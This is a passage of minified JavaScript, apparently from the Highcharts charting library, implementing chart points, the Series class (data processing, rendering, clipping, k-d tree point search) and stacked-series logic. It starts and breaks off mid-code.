this.series=n,this.color=n.color,this.applyOptions(i,r),n.options.colorByPoint?(i=n.options.colors||n.chart.options.colors,this.color=this.color||i[n.colorCounter],i=i.length,r=n.colorCounter,n.colorCounter++,n.colorCounter===i&&(n.colorCounter=0)):r=n.colorIndex,this.colorIndex=t(this.colorIndex,r),n.chart.pointCount++,this},applyOptions:function(n,f){var e=this.series,o=e.options.pointValKey||e.pointValKey;return n=u.prototype.optionsToObject.call(this,n),r(this,n),this.options=this.options?r(this.options,n):n,n.group&&delete this.group,o&&(this.y=this[o]),this.isNull=t(this.isValid&&!this.isValid(),null===this.x||!i(this.y,!0)),this.selected&&(this.state="select"),"name"in this&&void 0===f&&e.xAxis&&e.xAxis.hasNames&&(this.x=e.xAxis.nameToX(this)),void 0===this.x&&e&&(this.x=void 0===f?e.autoIncrement(this):f),this},optionsToObject:function(n){var r={},t=this.series,o=t.options.keys,s=o||t.pointArrayMap||["y"],h=s.length,u=0,e=0;if(i(n)||null===n)r[s[0]]=n;else if(f(n))for(!o&&n.length>h&&(t=typeof n[0],"string"===t?r.name=n[0]:"number"===t&&(r.x=n[0]),u++);e<h;)o&&void 0===n[u]||(r[s[e]]=n[u]),u++,e++;else"object"==typeof n&&(r=n,n.dataLabels&&(t._hasPointLabels=!0),n.marker&&(t._hasPointMarkers=!0));return r},getClassName:function(){return"highcharts-point"+(this.selected?" highcharts-point-select":"")+(this.negative?" highcharts-negative":"")+(this.isNull?" highcharts-null-point":"")+(void 0!==this.colorIndex?" highcharts-color-"+this.colorIndex:"")+(this.options.className?" "+this.options.className:"")+(this.zone&&this.zone.className?" "+this.zone.className.replace("highcharts-negative",""):"")},getZone:function(){for(var t=this.series,i=t.zones,t=t.zoneAxis||"y",r=0,n=i[r];this[t]>=n.value;)n=i[++r];return n&&n.color&&!this.options.color&&(this.color=n.color),n},destroy:function(){var n=this.series.chart,t=n.hoverPoints,i;n.pointCount--,t&&(this.setState(),o(t,this),t.length||(n.hoverPoints=null)),this===n.hoverPoint&&this.onMouseOut(),(this.graphic||this.dataLabel)&&(e(this),this.destroyElements()),this.legendItem&&n.legend.destroyItem(this);for(i in this)this[i]=null},destroyElements:function(){for(var i=["graphic","dataLabel","dataLabelUpper","connector","shadowGroup"],n,t=6;t--;)n=i[t],this[n]&&(this[n]=this[n].destroy())},getLabelConfig:function(){return{x:this.category,y:this.y,color:this.color,colorIndex:this.colorIndex,key:this.name||this.category,series:this.series,point:this,percentage:this.percentage,total:this.total||this.stackTotal}},tooltipFormatter:function(n){var f=this.series,i=f.tooltipOptions,e=t(i.valueDecimals,""),r=i.valuePrefix||"",u=i.valueSuffix||"";return s(f.pointArrayMap||["y"],function(t){t="{point."+t,(r||u)&&(n=n.replace(t+"}",r+t+"}"+u)),n=n.replace(t+"}",t+":,."+e+"f}")}),h(n,{point:this,series:this.series})},firePointEvent:function(n,t,i){var r=this,u=this.series.options;(u.point.events[n]||r.options&&r.options.events&&r.options.events[n])&&this.importEvents(),"click"===n&&u.allowPointSelect&&(i=function(n){r.select&&r.select(null,n.ctrlKey||n.metaKey||n.shiftKey)}),c(this,n,t,i)},visible:!0}}(t),function(n){var o=n.addEvent,p=n.animObject,tt=n.arrayMax,nt=n.arrayMin,y=n.correctFloat,u=n.Date,e=n.defaultOptions,g=n.defaultPlotOptions,r=n.defined,i=n.each,v=n.erase,ut=n.extend,h=n.fireEvent,rt=n.grep,c=n.isArray,f=n.isNumber,it=n.isString,a=n.merge,s=n.objectEach,t=n.pick,k=n.removeEvent,b=n.splat,w=n.SVGElement,l=n.syncTimeout,d=n.win;n.Series=n.seriesType("line",null,{lineWidth:2,allowPointSelect:!1,showCheckbox:!1,animation:{duration:1e3},events:{},marker:{lineWidth:0,lineColor:"#ffffff",radius:4,states:{hover:{animation:{duration:50},enabled:!0,radiusPlus:2,lineWidthPlus:1},select:{fillColor:"#cccccc",lineColor:"#000000",lineWidth:2}}},point:{events:{}},dataLabels:{align:"center",formatter:function(){return null===this.y?"":n.numberFormat(this.y,-1)},style:{fontSize:"11px",fontWeight:"bold",color:"contrast",textOutline:"1px contrast"},verticalAlign:"bottom",x:0,y:0,padding:5},cropThreshold:300,pointRange:0,softThreshold:!0,states:{hover:{animation:{duration:50},lineWidthPlus:1,marker:{},halo:{size:10,opacity:.25}},select:{marker:{}}},stickyTracking:!0,turboThreshold:1e3,findNearestPointBy:"x"},{isCartesian:!0,pointClass:n.Point,sorted:!0,requireSorting:!0,directTouch:!1,axisTypes:["xAxis","yAxis"],colorCounter:0,parallelArrays:["x","y"],coll:"series",init:function(n,r){var u=this,e,f=n.series,h;u.chart=n,u.options=r=u.setOptions(r),u.linkedSeries=[],u.bindAxes(),ut(u,{name:r.name,state:"",visible:!1!==r.visible,selected:!0===r.selected}),e=r.events,s(e,function(n,t){o(u,t,n)}),(e&&e.click||r.point&&r.point.events&&r.point.events.click||r.allowPointSelect)&&(n.runTrackerClick=!0),u.getColor(),u.getSymbol(),i(u.parallelArrays,function(n){u[n+"Data"]=[]}),u.setData(r.data,!1),u.isCartesian&&(n.hasCartesianSeries=!0),f.length&&(h=f[f.length-1]),u._i=t(h&&h._i,-1)+1,n.orderSeries(this.insert(f))},insert:function(n){var r=this.options.index,i;if(f(r)){for(i=n.length;i--;)if(r>=t(n[i].options.index,n[i]._i)){n.splice(i+1,0,this);break}-1===i&&n.unshift(this),i+=1}else n.push(this);return t(i,n.length-1)},bindAxes:function(){var t=this,u=t.options,f=t.chart,r;i(t.axisTypes||[],function(e){i(f[e],function(n){r=n.options,(u[e]===r.index||void 0!==u[e]&&u[e]===r.id||void 0===u[e]&&0===r.index)&&(t.insert(n.series),t[e]=n,n.isDirty=!0)}),t[e]||t.optionalAxis===e||n.error(18,!0)})},updateParallelArrays:function(n,t){var r=n.series,e=arguments,u=f(t)?function(i){var u="y"===i&&r.toYData?r.toYData(n):n[i];r[i+"Data"][t]=u}:function(n){Array.prototype[t].apply(r[n+"Data"],Array.prototype.slice.call(e,2))};i(r.parallelArrays,u)},autoIncrement:function(){var n=this.options,r=this.xIncrement,i,f=n.pointIntervalUnit,r=t(r,n.pointStart,0);return this.pointInterval=i=t(this.pointInterval,n.pointInterval,1),f&&(n=new u(r),"day"===f?n=+n[u.hcSetDate](n[u.hcGetDate]()+i):"month"===f?n=+n[u.hcSetMonth](n[u.hcGetMonth]()+i):"year"===f&&(n=+n[u.hcSetFullYear](n[u.hcGetFullYear]()+i)),i=n-r),this.xIncrement=r+i,r},setOptions:function(n){var i=this.chart,s=i.options,u=s.plotOptions,f=(i.userOptions||{}).plotOptions||{},o=u[this.type];return this.userOptions=n,i=a(o,u.series,n),this.tooltipOptions=a(e.tooltip,e.plotOptions.series&&e.plotOptions.series.tooltip,e.plotOptions[this.type].tooltip,s.tooltip.userOptions,u.series&&u.series.tooltip,u[this.type].tooltip,n.tooltip),this.stickyTracking=t(n.stickyTracking,f[this.type]&&f[this.type].stickyTracking,f.series&&f.series.stickyTracking,this.tooltipOptions.shared&&!this.noSharedTooltip?!0:i.stickyTracking),null===o.marker&&delete i.marker,this.zoneAxis=i.zoneAxis,n=this.zones=(i.zones||[]).slice(),!i.negativeColor&&!i.negativeFillColor||i.zones||n.push({value:i[this.zoneAxis+"Threshold"]||i.threshold||0,className:"highcharts-negative",color:i.negativeColor,fillColor:i.negativeFillColor}),n.length&&r(n[n.length-1].value)&&n.push({color:this.color,fillColor:this.fillColor}),i},getCyclic:function(n,i,u){var e,f=this.chart,h=this.userOptions,o=n+"Index",s=n+"Counter",c=u?u.length:t(f.options.chart[n+"Count"],f[n+"Count"]);i||(e=t(h[o],h["_"+o]),r(e)||(f.series.length||(f[s]=0),h["_"+o]=e=f[s]%c,f[s]+=1),u&&(i=u[e])),void 0!==e&&(this[o]=e),this[n]=i},getColor:function(){this.options.colorByPoint?this.options.color=null:this.getCyclic("color",this.options.color||g[this.type].color,this.chart.options.colors)},getSymbol:function(){this.getCyclic("symbol",this.options.marker.symbol,this.chart.options.symbols)},drawLegendSymbol:n.LegendSymbolMixin.drawLineMarker,setData:function(r,u,e,o){var s=this,a=s.points,d=a&&a.length||0,l,w=s.options,k=s.chart,h=null,p=s.xAxis,g=w.turboThreshold,y=this.xData,v=this.yData,b=(l=s.pointArrayMap)&&l.length;if(r=r||[],l=r.length,u=t(u,!0),!1!==o&&l&&d===l&&!s.cropped&&!s.hasGroupedData&&s.visible)i(r,function(n,t){a[t].update&&n!==w.data[t]&&a[t].update(n,!1,null,!1)});else{if(s.xIncrement=null,s.colorCounter=0,i(this.parallelArrays,function(n){s[n+"Data"].length=0}),g&&l>g){for(e=0;null===h&&e<l;)h=r[e],e++;if(f(h))for(e=0;e<l;e++)y[e]=this.autoIncrement(),v[e]=r[e];else if(c(h))if(b)for(e=0;e<l;e++)h=r[e],y[e]=h[0],v[e]=h.slice(1,b+1);else for(e=0;e<l;e++)h=r[e],y[e]=h[0],v[e]=h[1];else n.error(12)}else for(e=0;e<l;e++)void 0!==r[e]&&(h={series:s},s.pointClass.prototype.applyOptions.apply(h,[r[e]]),s.updateParallelArrays(h,e));for(v&&it(v[0])&&n.error(14,!0),s.data=[],s.options.data=s.userOptions.data=r,e=d;e--;)a[e]&&a[e].destroy&&a[e].destroy();p&&(p.minRange=p.userMinRange),s.isDirty=k.isDirtyBox=!0,s.isDirtyData=!!a,e=!1}"point"===w.legendType&&(this.processData(),this.generatePoints()),u&&k.redraw(e)},processData:function(t){var i=this.xData,l=this.yData,f=i.length,e,y,c,u,r,o;e=0,u=this.xAxis,o=this.options,r=o.cropThreshold;var w=this.getExtremesFromAll||o.getExtremesFromAll,v=this.isCartesian,o=u&&u.val2lin,p=u&&u.isLog,a=this.requireSorting,h,s;if(v&&!this.isDirty&&!u.isDirty&&!this.yAxis.isDirty&&!t)return!1;for(u&&(t=u.getExtremes(),h=t.min,s=t.max),v&&this.sorted&&!w&&(!r||f>r||this.forceCrop)&&(i[f-1]<h||i[0]>s?(i=[],l=[]):(i[0]<h||i[f-1]>s)&&(e=this.cropData(this.xData,this.yData,h,s),i=e.xData,l=e.yData,e=e.start,y=!0)),r=i.length||1;--r;)f=p?o(i[r])-o(i[r-1]):i[r]-i[r-1],0<f&&(void 0===c||f<c)?c=f:0>f&&a&&(n.error(15),a=!1);this.cropped=y,this.cropStart=e,this.processedXData=i,this.processedYData=l,this.closestPointRange=c},cropData:function(n,i,r,u){for(var s=n.length,o=0,e=s,h=t(this.cropShoulder,1),f=0;f<s;f++)if(n[f]>=r){o=Math.max(0,f-h);break}for(r=f;r<s;r++)if(n[r]>u){e=r+h;break}return{xData:n.slice(o,e),yData:i.slice(o,e),start:o,end:e}},generatePoints:function(){var f=this.options,e=f.data,t=this.data,c,s=this.processedXData,v=this.processedYData,a=this.pointClass,o=s.length,l=this.cropStart||0,r,u=this.hasGroupedData,f=f.keys,i,h=[],n;for(t||u||(t=[],t.length=e.length,t=this.data=t),f&&u&&(this.options.keys=!1),n=0;n<o;n++)r=l+n,u?(i=(new a).init(this,[s[n]].concat(b(v[n]))),i.dataGroup=this.groupMap[n]):(i=t[r])||void 0===e[r]||(t[r]=i=(new a).init(this,e[r],s[n])),i&&(i.index=r,h[n]=i);if(this.options.keys=f,t&&(o!==(c=t.length)||u))for(n=0;n<c;n++)n!==l||u||(n+=o),t[n]&&(t[n].destroyElements(),t[n].plotX=void 0);this.data=t,this.points=h},getExtremes:function(n){var v=this.yAxis,s=this.processedXData,e,o=[],h=0,l,a,r,u,t,i;for(e=this.xAxis.getExtremes(),l=e.min,a=e.max,n=n||this.stackedYData||this.processedYData||[],e=n.length,i=0;i<e;i++)if(u=s[i],t=n[i],r=(f(t,!0)||c(t))&&(!v.positiveValuesOnly||t.length||0<t),u=this.getExtremesFromAll||this.options.getExtremesFromAll||this.cropped||(s[i+1]||u)>=l&&(s[i-1]||u)<=a,r&&u)if(r=t.length)for(;r--;)null!==t[r]&&(o[h++]=t[r]);else o[h++]=t;this.dataMin=nt(o),this.dataMax=tt(o)},translate:function(){var v,c;this.processedXData||this.processData(),this.generatePoints();var e=this.options,g=e.stacking,a=this.xAxis,b=a.categories,s=this.yAxis,nt=this.points,rt=nt.length,ut=!!this.modifyValue,o=e.pointPlacement,it="between"===o||f(o),p=e.threshold,tt=e.startFromThreshold?p:0,l,u,k,w,d=Number.MAX_VALUE;for("between"===o&&(o=.5),f(o)&&(o*=t(e.pointRange||a.pointRange)),e=0;e<rt;e++){var n=nt[e],h=n.x,i=n.y;u=n.low,v=g&&s.stacks[(this.negStacks&&i<(tt?0:p)?"-":"")+this.stackKey],s.positiveValuesOnly&&null!==i&&0>=i&&(n.isNull=!0),n.plotX=l=y(Math.min(Math.max(-1e5,a.translate(h,0,0,0,1,o,"flags"===this.type)),1e5)),g&&this.visible&&!n.isNull&&v&&v[h]&&(w=this.getStackIndicator(w,h,this.index),c=v[h],i=c.points[w.key],u=i[0],i=i[1],u===tt&&w.key===v[h].base&&(u=t(p,s.min)),s.positiveValuesOnly&&0>=u&&(u=null),n.total=n.stackTotal=c.total,n.percentage=c.total&&n.y/c.total*100,n.stackY=i,c.setOffset(this.pointXOffset||0,this.barW||0)),n.yBottom=r(u)?s.translate(u,0,1,0,1):null,ut&&(i=this.modifyValue(i,n)),n.plotY=u="number"==typeof i&&Infinity!==i?Math.min(Math.max(-1e5,s.translate(i,0,1,0,1)),1e5):void 0,n.isInside=void 0!==u&&0<=u&&u<=s.len&&0<=l&&l<=a.len,n.clientX=it?y(a.translate(h,0,0,0,1,o)):l,n.negative=n.y<(p||0),n.category=b&&void 0!==b[n.x]?b[n.x]:n.x,n.isNull||(void 0!==k&&(d=Math.min(d,Math.abs(l-k))),k=l),n.zone=this.zones.length&&n.getZone()}this.closestPointRangePx=d},getValidPoints:function(n,t){var i=this.chart;return rt(n||this.points||[],function(n){return t&&!i.isInsidePlot(n.plotX,n.plotY,i.inverted)?!1:!n.isNull})},setClip:function(n){var t=this.chart,e=this.options,h=t.renderer,f=t.inverted,o=this.clipBox,u=o||t.clipBox,i=this.sharedClipKey||["_sharedClip",n&&n.duration,n&&n.easing,u.height,e.xAxis,e.yAxis].join(),r=t[i],s=t[i+"m"];r||(n&&(u.width=0,f&&(u.x=t.plotSizeX),t[i+"m"]=s=h.clipRect(f?t.plotSizeX+99:-99,f?-t.plotLeft:-t.plotTop,99,f?t.chartWidth:t.chartHeight)),t[i]=r=h.clipRect(u),r.count={length:0}),n&&!r.count[this.index]&&(r.count[this.index]=!0,r.count.length+=1),!1!==e.clip&&(this.group.clip(n||o?r:t.clipRect),this.markerGroup.clip(s),this.sharedClipKey=i),n||(r.count[this.index]&&(delete r.count[this.index],--r.count.length),0===r.count.length&&i&&t[i]&&(o||(t[i]=t[i].destroy()),t[i+"m"]&&(t[i+"m"]=t[i+"m"].destroy())))},animate:function(n){var t=this.chart,r=p(this.options.animation),i;n?this.setClip(r):(i=this.sharedClipKey,(n=t[i])&&n.animate({width:t.plotSizeX,x:0},r),t[i+"m"]&&t[i+"m"].animate({width:t.plotSizeX+99,x:0},r),this.animate=null)},afterAnimate:function(){this.setClip(),h(this,"afterAnimate"),this.finishedAnimating=!0},drawPoints:function(){var c=this.points,a=this.chart,o,n,u,i,e=this.options.marker,f,h,s,v=this[this.specialGroup]||this.markerGroup,r,l=t(e.enabled,this.xAxis.isRadial?!0:null,this.closestPointRangePx>=2*e.radius);if(!1!==e.enabled||this._hasPointMarkers)for(o=0;o<c.length;o++)n=c[o],i=n.graphic,f=n.marker||{},h=!!n.marker,u=l&&void 0===f.enabled||f.enabled,s=n.isInside,u&&!n.isNull?(u=t(f.symbol,this.symbol),n.hasImage=0===u.indexOf("url"),r=this.markerAttribs(n,n.selected&&"select"),i?i[s?"show":"hide"](!0).animate(r):s&&(0<r.width||n.hasImage)&&(n.graphic=i=a.renderer.symbol(u,r.x,r.y,r.width,r.height,h?f:e).add(v)),i&&i.attr(this.pointAttribs(n,n.selected&&"select")),i&&i.addClass(n.getClassName(),!0)):i&&(n.graphic=i.destroy())},markerAttribs:function(n,i){var u=this.options.marker,f=n.marker||{},r=t(f.radius,u.radius);return i&&(u=u.states[i],i=f.states&&f.states[i],r=t(i&&i.radius,u&&u.radius,r+(u&&u.radiusPlus||0))),n.hasImage&&(r=0),n={x:Math.floor(n.plotX)-r,y:n.plotY-r},r&&(n.width=n.height=2*r),n},pointAttribs:function(n,i){var r=this.options.marker,f=n&&n.options,e=f&&f.marker||{},u=this.color,s=f&&f.color,o=n&&n.color,f=t(e.lineWidth,r.lineWidth);return n=n&&n.zone&&n.zone.color,u=s||n||o||u,n=e.fillColor||r.fillColor||u,u=e.lineColor||r.lineColor||u,i&&(r=r.states[i],i=e.states&&e.states[i]||{},f=t(i.lineWidth,r.lineWidth,f+t(i.lineWidthPlus,r.lineWidthPlus,0)),n=i.fillColor||r.fillColor||n,u=i.lineColor||r.lineColor||u),{stroke:u,"stroke-width":f,fill:n}},destroy:function(){var n=this,r=n.chart,c=/AppleWebKit\/533/.test(d.navigator.userAgent),o,f,e=n.data||[],u,t;for(h(n,"destroy"),k(n),i(n.axisTypes||[],function(i){(t=n[i])&&t.series&&(v(t.series,n),t.isDirty=t.forceRedraw=!0)}),n.legendItem&&n.chart.legend.destroyItem(n),f=e.length;f--;)(u=e[f])&&u.destroy&&u.destroy();n.points=null,clearTimeout(n.animationTimeout),s(n,function(n,t){n instanceof w&&!n.survive&&(o=c&&"group"===t?"hide":"destroy",n[o]())}),r.hoverSeries===n&&(r.hoverSeries=null),v(r.series,n),r.orderSeries(),s(n,function(t,i){delete n[i]})},getGraphPath:function(n,t,u){var o=this,h=o.options,f=h.step,l,s=[],c=[],e;return n=n||o.points,(l=n.reversed)&&n.reverse(),(f={right:1,center:2}[f]||f&&3)&&l&&(f=4-f),!h.connectNulls||t||u||(n=this.getValidPoints(n)),i(n,function(i,l){var v=i.plotX,y=i.plotY,a=n[l-1];(i.leftCliff||a&&a.rightCliff)&&!u&&(e=!0),i.isNull&&!r(t)&&0<l?e=!h.connectNulls:i.isNull&&!t?e=!0:(0===l||e?l=["M",i.plotX,i.plotY]:o.getPointSpline?l=o.getPointSpline(n,i,l):f?(l=1===f?["L",a.plotX,y]:2===f?["L",(a.plotX+v)/2,a.plotY,"L",(a.plotX+v)/2,y]:["L",v,a.plotY],l.push("L",v,y)):l=["L",v,y],c.push(i.x),f&&c.push(i.x),s.push.apply(s,l),e=!1)}),s.xMap=c,o.graphPath=s},drawGraph:function(){var n=this,r=this.options,t=(this.gappedPath||this.getGraphPath).call(this),u=[["graph","highcharts-graph",r.lineColor||this.color,r.dashStyle]];i(this.zones,function(t,i){u.push(["zone-graph-"+i,"highcharts-graph highcharts-zone-graph-"+i+" "+(t.className||""),t.color||n.color,t.dashStyle||r.dashStyle])}),i(u,function(i,u){var e=i[0],f=n[e];f?(f.endX=n.preventGraphAnimation?null:t.xMap,f.animate({d:t})):t.length&&(n[e]=n.chart.renderer.path(t).addClass(i[1]).attr({zIndex:1}).add(n.group),f={stroke:i[2],"stroke-width":r.lineWidth,fill:n.fillGraph&&n.color||"none"},i[3]?f.dashstyle=i[3]:"square"!==r.linecap&&(f["stroke-linecap"]=f["stroke-linejoin"]="round"),f=n[e].attr(f).shadow(2>u&&r.shadow)),f&&(f.startX=t.xMap,f.isArea=t.isArea)})},applyZones:function(){var nt=this,r=this.chart,d=r.renderer,g=this.zones,f,e,o=this.clips||[],n,y=this.graph,a=this.area,c=Math.max(r.chartWidth,r.chartHeight),u=this[(this.zoneAxis||"y")+"Axis"],s,b,w=r.inverted,h,p,l,v,k=!1;g.length&&(y||a)&&u&&void 0!==u.min&&(b=u.reversed,h=u.horiz,y&&y.hide(),a&&a.hide(),s=u.getExtremes(),i(g,function(i,g){f=b?h?r.plotWidth:0:h?0:u.toPixels(s.min),f=Math.min(Math.max(t(e,f),0),c),e=Math.min(Math.max(Math.round(u.toPixels(t(i.value,s.max),!0)),0),c),k&&(f=e=u.toPixels(s.max)),p=Math.abs(f-e),l=Math.min(f,e),v=Math.max(f,e),u.isXAxis?(n={x:w?v:l,y:0,width:p,height:c},h||(n.x=r.plotHeight-n.x)):(n={x:0,y:w?v:l,width:c,height:p},h&&(n.y=r.plotWidth-n.y)),w&&d.isVML&&(n=u.isXAxis?{x:0,y:b?l:v,height:n.width,width:r.chartWidth}:{x:n.y-r.plotLeft-r.spacingBox.x,y:0,width:n.height,height:r.chartHeight}),o[g]?o[g].animate(n):(o[g]=d.clipRect(n),y&&nt["zone-graph-"+g].clip(o[g]),a&&nt["zone-area-"+g].clip(o[g])),k=i.value>s.max}),this.clips=o)},invertGroups:function(n){function r(){i(["group","markerGroup"],function(i){t[i]&&(f.renderer.isVML&&t[i].attr({width:t.yAxis.len,height:t.xAxis.len}),t[i].width=t.yAxis.len,t[i].height=t.xAxis.len,t[i].invert(n))})}var t=this,f=t.chart,u;t.xAxis&&(u=o(f,"resize",r),o(t,"destroy",u),r(n),t.invertGroups=r)},plotGroup:function(n,t,i,u,f){var e=this[n],o=!e;return o&&(this[n]=e=this.chart.renderer.g().attr({zIndex:u||.1}).add(f)),e.addClass("highcharts-"+t+" highcharts-series-"+this.index+" highcharts-"+this.type+"-series "+(r(this.colorIndex)?"highcharts-color-"+this.colorIndex+" ":"")+(this.options.className||"")+(e.hasClass("highcharts-tracker")?" highcharts-tracker":""),!0),e.attr({visibility:i})[o?"attr":"animate"](this.getPlotBox()),e},getPlotBox:function(){var t=this.chart,i=this.xAxis,n=this.yAxis;return t.inverted&&(i=n,n=this.xAxis),{translateX:i?i.left:t.plotLeft,translateY:n?n.top:t.plotTop,scaleX:1,scaleY:1}},render:function(){var n=this,t=n.chart,u,r=n.options,i=!!n.animate&&t.renderer.isSVG&&p(r.animation).duration,s=n.visible?"inherit":"hidden",h=r.zIndex,o=n.hasRendered,f=t.seriesGroup,e=t.inverted;u=n.plotGroup("group","series",s,h,f),n.markerGroup=n.plotGroup("markerGroup","markers",s,h,f),i&&n.animate(!0),u.inverted=n.isCartesian?e:!1,n.drawGraph&&(n.drawGraph(),n.applyZones()),n.drawDataLabels&&n.drawDataLabels(),n.visible&&n.drawPoints(),n.drawTracker&&!1!==n.options.enableMouseTracking&&n.drawTracker(),n.invertGroups(e),!1===r.clip||n.sharedClipKey||o||u.clip(t.clipRect),i&&n.animate(),o||(n.animationTimeout=l(function(){n.afterAnimate()},i)),n.isDirty=!1,n.hasRendered=!0},redraw:function(){var n=this.chart,f=this.isDirty||this.isDirtyData,i=this.group,u=this.xAxis,r=this.yAxis;i&&(n.inverted&&i.attr({width:n.plotWidth,height:n.plotHeight}),i.animate({translateX:t(u&&u.left,n.plotLeft),translateY:t(r&&r.top,n.plotTop)})),this.translate(),this.render(),f&&delete this.kdTree},kdAxisArray:["clientX","plotY"],searchPoint:function(n,t){var r=this.xAxis,i=this.yAxis,u=this.chart.inverted;return this.searchKDTree({clientX:u?r.len-n.chartY+r.pos:n.chartX-r.pos,plotY:u?i.len-n.chartX+i.pos:n.chartY-i.pos},t)},buildKDTree:function(){function t(i,r,u){var e,f;if(f=i&&i.length)return e=n.kdAxisArray[r%u],i.sort(function(n,t){return n[e]-t[e]}),f=Math.floor(f/2),{point:i[f],left:t(i.slice(0,f),r+1,u),right:t(i.slice(f+1),r+1,u)}}this.buildingKdTree=!0;var n=this,i=-1<n.options.findNearestPointBy.indexOf("y")?2:1;delete n.kdTree,l(function(){n.kdTree=t(n.getValidPoints(null,!n.directTouch),i,i),n.buildingKdTree=!1},n.options.kdNow?0:1)},searchKDTree:function(n,t){function e(n,t,s,h){var l=t.point,y=o.kdAxisArray[s%h],c,v,a=l;return v=r(n[f])&&r(l[f])?Math.pow(n[f]-l[f],2):null,c=r(n[u])&&r(l[u])?Math.pow(n[u]-l[u],2):null,c=(v||0)+(c||0),l.dist=r(c)?Math.sqrt(c):Number.MAX_VALUE,l.distX=r(v)?Math.sqrt(v):Number.MAX_VALUE,y=n[y]-l[y],c=0>y?"left":"right",v=0>y?"right":"left",t[c]&&(c=e(n,t[c],s+1,h),a=c[i]<a[i]?c:l),t[v]&&Math.sqrt(y*y)<a[i]&&(n=e(n,t[v],s+1,h),a=n[i]<a[i]?n:a),a}var o=this,f=this.kdAxisArray[0],u=this.kdAxisArray[1],i=t?"distX":"dist";return t=-1<o.options.findNearestPointBy.indexOf("y")?2:1,this.kdTree||this.buildingKdTree||this.buildKDTree(),this.kdTree?e(n,this.kdTree,t,t):void 0}})}(t),function(n){var f=n.Axis,c=n.Chart,u=n.correctFloat,o=n.defined,s=n.destroyObjectProperties,e=n.each,h=n.format,t=n.objectEach,i=n.pick,r=n.Series;n.StackItem=function(n,t,r,u,f){var e=n.chart.inverted;this.axis=n,this.isNegative=r,this.options=t,this.x=u,this.total=null,this.points={},this.stack=f,this.rightCliff=this.leftCliff=0,this.alignOptions={align:t.align||(e?r?"left":"right":"center"),verticalAlign:t.verticalAlign||(e?"middle":r?"bottom":"top"),y:i(t.y,e?4:r?14:-6),x:i(t.x,e?r?-6:6:0)},this.textAlign=t.textAlign||(e?r?"right":"left":"center")},n.StackItem.prototype={destroy:function(){s(this,this.axis)},render:function(n){var t=this.options,i=t.format,i=i?h(i,this):t.formatter.call(this);this.label?this.label.attr({text:i,visibility:"hidden"}):this.label=this.axis.chart.renderer.text(i,null,null,t.useHTML).css(t.style).attr({align:this.textAlign,rotation:t.rotation,visibility:"hidden"}).add(n)},setOffset:function(n,t){var r=this.axis,u=r.chart,i=r.translate(r.usePercentage?100:this.total,0,0,0,1),r=r.translate(0),r=Math.abs(i-r);n=u.xAxis[0].translate(this.x)+n,i=this.getStackBox(u,this,n,i,t,r),(t=this.label)&&(t.align(this.alignOptions,null,i),i=t.alignAttr,t[!1===this.options.crop||u.isInsidePlot(i.x,i.y)?"show":"hide"](!0))},getStackBox:function(n,t,i,r,u,f){var o=t.axis.reversed,e=n.inverted;return n=n.plotHeight,t=t.isNegative&&!o||!t.isNegative&&o,{x:e?t?r:r-f:i,y:e?n-i-u:t?n-r-f:n-r,width:e?f:u,height:e?u:f}}},c.prototype.getStacks=function(){var n=this;e(n.yAxis,function(n){n.stacks&&n.hasVisibleSeries&&(n.oldStacks=n.stacks)}),e(n.series,function(t){!t.options.stacking||!0!==t.visible&&!1!==n.options.chart.ignoreHiddenSeries||(t.stackKey=t.type+i(t.options.stack,""))})},f.prototype.buildStacks=function(){var r=this.series,u=i(this.options.reversedStacks,!0),t=r.length,n;if(!this.isXAxis){for(this.usePercentage=!1,n=t;n--;)r[u?n:t-n-1].setStackedPoints();for(n=0;n<t;n++)r[n].modifyStacks()}},f.prototype.renderStackTotals=function(){var i=this.chart,r=i.renderer,u=this.stacks,n=this.stackTotalGroup;n||(this.stackTotalGroup=n=r.g("stack-labels").attr({visibility:"visible",zIndex:6}).add()),n.translate(i.plotLeft,i.plotTop),t(u,function(i){t(i,function(t){t.render(n)})})},f.prototype.resetStacks=function(){var n=this,i=n.stacks;n.isXAxis||t(i,function(i){t(i,function(t,r){t.touched<n.stacksTouched?(t.destroy(),delete i[r]):(t.total=null,t.cum=null)})})},f.prototype.cleanStacks=function(){var n;this.isXAxis||(this.oldStacks&&(n=this.stacks=this.oldStacks),t(n,function(n){t(n,function(n){n.cum=n.total})}))},r.prototype.setStackedPoints=function(){if(this.options.stacking&&(!0===this.visible||!1===this.chart.options.chart.ignoreHiddenSeries)){var tt=this.processedXData,d=this.processedYData,k=[],it=d.length,l=this.options,b=l.threshold,y=l.startFromThreshold?b:0,rt=l.stack,l=l.stacking,p=this.stackKey,nt="-"+p,g=this.negStacks,s=this.yAxis,e=s.stacks,w=s.oldStacks,v,f,t,a,c,r,h;for(s.stacksTouched+=1,c=0;c<it;c++)r=tt[c],h=d[c],v=this.getStackIndicator(v,r,this.index),a=v.key,t=(f=g&&h<(y?0:b))?nt:p,e[t]||(e[t]={}),e[t][r]||(w[t]&&w[t][r]?(e[t][r]=w[t][r],e[t][r].total=null):e[t][r]=new n.StackItem(s,s.options.stackLabels,f,r,rt)),t=e[t][r],null!==h&&(t.points[a]=t.points[this.index]=[i(t.cum,y)],o(t.cum)||(t.base=a),t.touched=s.stacksTouched,0<v.index&&!1===this.singleStacks&&(t.points[a][0]=t.points[this.index+","+r+",0"][0])),"percent"===l?(f=f?p:nt,g&&e[f]&&e[f][r]?(f=e[f][r],t.total=f.total=Math.max(f.total,t.total)+Math.abs(h)||0):t.total=u(t.total+(Math.abs(h)||0))):t.total=u(t.total+(h||0)),t.cum=i(t.cum,y)+(h||0),null!==h&&(t.points[a].push(t.cum),k[c]=t.cum);"percent"===l&&(s.usePercentage=!0),this.stackedYData=k,s.oldStacks={}}},r.prototype.modifyStacks=function(){var n=this,u=n.stackKey,f=n.yAxis.stacks,r=n.processedXData,t,i=n.options.stacking;n[i+"Stacker"]&&e([u,"-"+u],function(u){for(var o=r.length,e,s;o--;)(e=r[o],t=n.getStackIndicator(t,e,n.index,u),s=(e=f[u]&&f[u][e])&&e.points[t.key])&&n[i+"Stacker"](s,e,o)})},r.prototype.percentStacker=function(n,t,i){t=t.total?100/t.total:0,n[0]=u(n[0]*t),n[1]=u(n[1]*t),this.stackedYData[i]=n[1]},r.prototype.getStackIndicator=function(n,t,i,r){return!o(n)||n.x!==t||r&&n.key!==r?n={x:t,index:0,key:r}:n.index++,n.key=[i,t,n.index].join(),n}}(t),function(n){var 